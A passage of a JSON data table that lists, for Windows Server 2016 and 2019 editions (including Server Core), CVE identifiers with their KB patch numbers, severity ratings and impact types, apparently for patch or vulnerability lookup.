Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601318","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005043","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039214","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070882","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601318","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005043","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039214","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070882","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2019":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4551853","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565349","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565349","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601345","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003171","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003171","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003646","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601345","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601345","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000822","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001342","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004947","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005030","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005568","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006672","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015811","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014692","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013941","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2022-35737","kb":"5034127","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029247","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025229","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028168","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032196","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031361","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-50868","kb":"5039217","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041578","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043050","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048661","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044277","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050008","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053596","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053596","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053596","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055519","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058392","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058392","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060531","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066586","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062557","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063877","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063877","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-59287","kb":"5070883","severity":"Critical","impact":"Remote Code Execution"}],"Windows Server 2019 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4551853","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4464330","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8453","kb":"4464330","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467708","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467708","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487044","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480116","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493509","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503327","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4519338","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530715","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534273","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4538461","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4549949","severity":"Important","impact":"Elevation of 